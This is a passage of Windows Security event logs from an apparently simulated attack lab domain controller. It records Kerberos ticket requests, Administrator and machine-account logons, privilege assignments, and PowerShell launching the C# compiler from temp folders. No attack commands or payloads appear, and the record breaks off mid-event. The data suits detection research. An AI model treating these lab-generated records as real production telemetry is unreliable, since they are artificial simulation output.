TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249889
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249888
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFED4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249887
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFED4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249886
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFED4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249885
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249884
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249883
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249882
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE21D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249881
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDBBC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249880
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC883

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249957
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2B12

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249956
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF2B12
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64356

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249955
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2B12

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249954
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2AB1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249953
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF2AB1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64355

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249952
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2AB1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249951
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2A4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249950
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF2A4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64354

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249949
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2A4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249948
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF29EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249947
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF29EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64353

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249946
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF29EA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249945
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa50
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES53E9.tmp" "c:\Users\Administrator\AppData\Local\Temp\koejqd22\CSC5E1ABDA669694E2DA0AD64D788879DC0.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249944
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\koejqd22\koejqd22.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249943
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf64
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES538B.tmp" "c:\Users\Administrator\AppData\Local\Temp\tyf1hnvf\CSC6A6173A8714F4020B615C32065929633.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249942
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf64
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\tyf1hnvf\tyf1hnvf.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249941
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2048

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249940
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF2048
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{802D598D-588E-3608-44AC-644B09F20DB0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
